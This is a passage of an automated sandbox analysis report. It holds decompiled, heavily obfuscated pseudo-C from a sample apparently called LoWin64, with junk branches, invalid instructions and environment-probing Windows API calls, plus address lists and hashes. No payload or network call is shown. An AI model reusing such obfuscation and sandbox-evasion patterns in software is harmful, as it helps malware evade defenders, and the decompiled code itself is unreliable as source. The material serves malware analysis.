				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t382);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t385 = (_t382 - _t496 | _t490) + _t496;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t385);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t388 = (_t385 - _t496 | _t490) + _t496;
				_t214 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t388) & r14d) >= 0) goto 0xb1ca812d;
				_t391 = (_t388 - _t496 | _t490) + _t496;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t391) & r14d) >= 0) goto 0xb1ca8142;
				_t394 = (_t391 - _t496 | _t490) + _t496;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t130 = E00007FF67FF6B1D3ACF4(_t394);
				_t131 = _t130 & r14d;
				if ((_t130 & r14d) >= 0) goto 0xb1ca8157;
				_t397 = (_t394 - _t496 | _t490) + _t496;
				r8d = r15d;
				r8b = _t397 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t498 + 0x20));
				r8d = _a152;
				E00007FF67FF6B1CB41F0(_t131, _t225, _t470,  *((intOrPtr*)(_t498 + 0x90)), _t493); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t214, _t470, 0, _t397, _t502), _t225,  *((intOrPtr*)(_t498 + 0x90)));
				 *0xb1decf60 = _t496;
				E00007FF67FF6B1D3ACF4(_t397);
				E00007FF67FF6B1D3ACF4(_t397);
				asm("push es");
				_t400 = (_t397 - _t496 | 0xffffff80) + _t496;
				asm("movsd xmm6, [0x11694a]");
				_t268 = _t400 - 5;
				if (_t268 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t400);
				if (_t268 >= 0) goto 0xb1ca81e3;
				_t403 = (_t400 - _t496 | 0xffffff80) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t268 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t403);
				if (_t268 >= 0) goto 0xb1ca820e;
				_t406 = (_t403 - _t496 | 0xffffff80) + _t496;
				if (_t406 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t406);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t409 = (_t406 - _t496 | 0xffffff80) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t409;
				 *0xb1decf60 = _t496;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t271 = r12d - 0x42;
				if (_t271 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t409);
				if (_t271 >= 0) goto 0xb1ca8274;
				_t412 = (_t409 - _t496 | 0xffffff80) + _t496;
				_t272 = _t412 - 0x2e;
				if (_t272 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t412);
				if (_t272 >= 0) goto 0xb1ca828f;
				_t216 = r15d & 0xffffff00 | (_t412 - _t496 | 0xffffff80) + _t496 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t152 = E00007FF67FF6B1D3ACF4((_t412 - _t496 | 0xffffff80) + _t496);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t216;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t216;
				 *0x6b =  *0x6b + _t152;
				_t417 = _a160 + _t496;
				_a160 = _t417;
				 *0xb1decf60 = _t417;
				_t274 = _t417 - 0x1f;
				if (_t274 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t496;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t417 =  *_t417 | _t417;
				if (_t274 >= 0) goto 0xb1ca8308;
				_t420 = (_t417 - _t496 | 0xffffff80) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t274 != 0) goto 0xb1ca8318;
				if (_t274 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t420) & r14d) >= 0) goto 0xb1ca8333;
				_t423 = (_t420 - _t496 | 0xffffff80) + _t496;
				if (_t423 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t423) & r14d) >= 0) goto 0xb1ca835e;
				_t426 = (_t423 - _t496 | 0xffffff80) + _t496;
				if (_t426 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t426);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t429 = (_t426 - _t496 | 0xffffff80) + _t496;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t429);
				if (_t429 - 0x34 >= 0) goto 0xb1ca8397;
				_t432 = (_t429 - _t496 | 0xffffff80) + _t496;
				_t282 = _t432 - 0x1f;
				if (_t282 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t432);
				if (_t282 >= 0) goto 0xb1ca83ac;
				_t283 = (_t432 - _t496 | 0xffffff80) + _t496 - 4;
				if (_t283 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t432 - _t496 | 0xffffff80) + _t496);
				if (_t283 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t285 = r13d - 0x54;
				if (_t285 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t285 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t496;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t496;
				IsIconic(??);
				asm("adc al, 0x0");
				_t441 = 0x50 + _t496;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t441);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t444 = (_t441 - _t496 | 0xffffff80) + _t496;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t444);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t447 = (_t444 - _t496 | 0xffffff80) + _t496;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t447);
				E00007FF67FF6B1D3ACF4(_t447);
				E00007FF67FF6B1D3ACF4(_t447);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t450 = (_t447 - _t496 | 0xffffff80) + _t496;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t496;
				E00007FF67FF6B1D3ACF4(_t450);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t453 = (_t450 - _t496 | 0xffffff80) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t453);
				E00007FF67FF6B1D3ACF4(_t453);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t456 = (_t453 - _t496 | 0xffffff80) + _t496;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t456);
				E00007FF67FF6B1D3ACF4(_t456);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t459 = (_t456 - _t496 | 0xffffff80) + _t496;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t459);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t465 = ((_t459 - _t496 | 0xffffff80) + _t496 - _t496 | 0xffffff80) + _t496;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t195 = E00007FF67FF6B1D3ACF4(_t465);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t465 - _t496 | 0xffffff80) + _t496 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t195 & r14d;
			}

0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

IsIconic.USER32 ref: 00007FF6B1CA7DA7

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Iconic
String ID:
API String ID: 110040809-0
Opcode ID: 44908896853afb61f47414e99891ac30dad23a1a39c3f21a76e572bd7f6836a5
Instruction ID: 7b61d8aaff894875a3182e02d8bf7cb233aea97be365fb879b13279ac57b594d
Opcode Fuzzy Hash: 44908896853afb61f47414e99891ac30dad23a1a39c3f21a76e572bd7f6836a5
Instruction Fuzzy Hash: F4718F67F38A0AA6E7115F3CAD492B962A16F10709F740739D309E118ADF3CF5828248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAB268 Relevance: 9.1, APIs: 6, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00007FF67FF6B1CAB268(long long _a152) {
				struct HWND__* _t65;
				signed int _t98;
				signed int _t182;
				signed int _t188;
				void* _t209;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t215;
				void* _t226;
				void* _t236;
				void* _t255;
				void* _t258;
				signed long long _t260;
				signed long long _t264;
				long long _t268;
				void* _t270;
				void* _t272;
				void* _t274;
				void* _t278;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				signed int _t313;
				void* _t315;
				void* _t331;
				void* _t333;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t341;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				void* _t370;
				signed long long _t372;
				void* _t383;
				void* _t391;
				void* _t392;
				void* _t393;

				E00007FF67FF6B1D3ACF4(_t260);
				if (_t211 >= 0) goto 0xb1cab278;
				_t264 = ((_t260 & _t372) - _t361 | 0xffffff80) + _t361;
				_t212 = _t264 - 0x30;
				if (_t212 <= 0) goto 0xb1cab29c;
				E00007FF67FF6B1D3ACF4(_t264);
				if (_t212 >= 0) goto 0xb1cab28d;
				_t268 = ((_t264 & _t372) - _t361 | 0xffffff80) + _t361;
				_t213 = _t268 - 0x30;
				 *0xb1decf60 = _t363; // executed
				E00007FF67FF6B1CBD820(_t213, _t268, _t363, _t370); // executed
				_a152 = _t268;
				E00007FF67FF6B1CBDE60(r12d & 0xffffff00 | _t213 > 0x00000000, _t209, _t210, _t361, _t268, _t383, _t391, _t392, _t393);
				r9d = 0;
				r8d = r15d;
				0xb1ca5f14(); // executed
				asm("pop ss");
				if (_t213 < 0) goto 0xb1cab2ca;
				 *0xb1decf60 = 0x11;
				_t65 = GetParent(??);
				 *0xFFFFFFFFFFFFFFBF =  *((intOrPtr*)(0xffffffffffffffbf)) + _t65;
				if (_t213 > 0) goto 0xb1cab2ed;
				 *((intOrPtr*)(_t268 - 0x7f41bf)) =  *((intOrPtr*)(_t268 - 0x7f41bf)) + _t65;
				asm("invalid");
				if (_t213 >= 0) goto 0xb1cab301;
				_t270 = _t268 - _t361 + _t361;
				asm("movsd xmm6, [0x11352f]");
				goto 0xb1cab329;
				if (0x4e - 0x58 >= 0) goto 0xb1cab339;
				 *0xb1decf60 = 0x4e + _t361;
				E00007FF67FF6B1D3ACF4(_t270);
				if (0x4e - 0x58 >= 0) goto 0xb1cab329;
				_t272 = _t270 - _t361 + _t361;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (0x4e != 0x58) goto 0xb1cab339;
				if (0x4e == 0x58) goto 0xb1cab30b;
				 *0xb1decf60 = 0x31;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t272);
				if (0x4e - 0x58 >= 0) goto 0xb1cab35a;
				_t274 = _t272 - _t361 + _t361;
				_t215 = _t274 - 0x53;
				if (_t215 != 0) goto 0xb1cab3c8;
				E00007FF67FF6B1D3ACF4(_t274);
				if (_t215 >= 0) goto 0xb1cab370;
				if (_t274 - _t361 + _t361 - 0x32 < 0) goto 0xb1cab389;
				asm("adc al, 0x0");
				_t278 = 0x2c + _t361;
				if (0x2c - 0x3f < 0) goto 0xb1cab37a;
				goto 0xb1cab3b9;
				 *0xb1decf60 = 0x64;
				E00007FF67FF6B1D3ACF4(_t278);
				if (_t209 -  *0x1BE00588FB03003B >= 0) goto 0xb1cab3af;
				_t280 = _t278 - _t361 + _t361;
				if (0x2c - 6 <= 0) goto 0xb1cab3b9;
				if (0x64 - 0x65 < 0) goto 0xb1cab38e;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t361;
				goto 0xb1cab3d4;
				E00007FF67FF6B1D3ACF4(_t278 - _t361 + _t361);
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t278 - _t361 + _t361);
				 *0xb1decf60 = _t361;
				E00007FF67FF6B1D3ACF4(_t280);
				if (0x64 - 0x65 >= 0) goto 0xb1cab3f0;
				if (0x2c - 0x14 < 0) goto 0xb1cab4d2;
				E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361);
				if (0x2c - 0x14 >= 0) goto 0xb1cab40a;
				if (0x2c - 0x76 >= 0) goto 0xb1cab4d2;
				E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361 - _t361 + _t361);
				if (0x2c - 0x76 >= 0) goto 0xb1cab424;
				asm("movsd xmm6, [0x113354]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x2c - 0x76 < 0) goto 0xb1cab46e;
				 *0xb1da4398();
				E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361);
				if (0x2c - 0x76 >= 0) goto 0xb1cab451;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x2c;
				goto 0xb1cab4f2;
				_t98 = E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361);
				if (0x2c - 0x76 >= 0) goto 0xb1cab47f;
				if (0x2c - 0x50 > 0) goto 0xb1cab4ca;
				 *_t361 =  *_t361 + (_t98 & r15d | r14d);
				asm("sti");
				 *0xb1decf60 = 0x64;
				E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361);
				if (0x2c - 0x50 >= 0) goto 0xb1cab4a7;
				if (0x2c - 0x74 < 0) goto 0xb1cab4b1;
				if (0x64 - 0x36 < 0) goto 0xb1cab48e;
				 *0xb1decf60 = 0x3d;
				_t226 = 0x3d + _t361 - 0x4b;
				if (_t226 < 0) goto 0xb1cab489;
				 *0xb1decf60 = r12d;
				asm("adc al, 0x0");
				goto 0xb1cab4f2;
				E00007FF67FF6B1D3ACF4(_t280 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361 - _t361 + _t361);
				if (_t226 >= 0) goto 0xb1cab4e3;
				 *0xb1decf60 = 0;
				GetParent(??);
				asm("adc al, 0x0");
				_t296 = 0x1d + _t361;
				if (0x1d - 0x31 < 0) goto 0xb1cab4ff;
				 *0xb1decf60 = 0x15;
				GetCurrentProcess();
				E00007FF67FF6B1D3ACF4(_t296);
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t361;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t296);
				if (0x1d - 0x31 >= 0) goto 0xb1cab545;
				_t298 = _t296 - _t361 + _t361;
				if (0x1d - 0x1c >= 0) goto 0xb1cab551;
				 *0xb1decf60 = _t361;
				goto 0xb1cab570;
				E00007FF67FF6B1D3ACF4(_t298);
				if (0x1d - 0x1c >= 0) goto 0xb1cab562;
				_t300 = _t298 - _t361 + _t361;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t300);
				if (0x1d - 0x1c >= 0) goto 0xb1cab581;
				_t302 = _t300 - _t361 + _t361;
				if (0x1d != 0x31) goto 0xb1cab5c0;
				E00007FF67FF6B1D3ACF4(_t302);
				if (0x1d - 0x31 >= 0) goto 0xb1cab597;
				_t304 = _t302 - _t361 + _t361;
				if (0x1d - 0x34 < 0) goto 0xb1cab5c0;
				E00007FF67FF6B1D3ACF4(_t304);
				if (0x1d - 0x34 >= 0) goto 0xb1cab5ad;
				_t306 = _t304 - _t361 + _t361;
				if (0x1d == 0x25) goto 0xb1cab5e0;
				 *0xb1da4398();
				 *0xb1decf60 = _t361;
				goto 0xb1cab5e0;
				E00007FF67FF6B1D3ACF4(_t306);
				if (0x1d - 0x25 >= 0) goto 0xb1cab5d1;
				_t308 = _t306 - _t361 + _t361;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t308);
				if (0x1d - 0x34 >= 0) goto 0xb1cab5f1;
				_t310 = _t308 - _t361 + _t361;
				asm("movsd xmm6, [0x113127]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x1d - 0x34 >= 0) goto 0xb1cab60d;
				E00007FF67FF6B1DA43C8();
				E00007FF67FF6B1D3ACF4(_t310);
				if (0x1d - 0x34 >= 0) goto 0xb1cab61e;
				asm("movd xmm0, eax");
				asm("invalid");
				 *0x1A901D890000002B =  *0x1A901D890000002B << 0x2f;
				asm("invalid");
				_t313 = _t361;
				_t362 = _t310 - _t361 + _t361;
				asm("ror byte [ecx+0x14192505], 0x0");
				 *0xb1decf60 = 0x5;
				E00007FF67FF6B1D3ACF4(_t313);
				if (0x1d - 0x34 >= 0) goto 0xb1cab654;
				_t315 = _t313 - _t362 + _t362;
				if (_t315 != 0x3d) goto 0xb1cab65e;
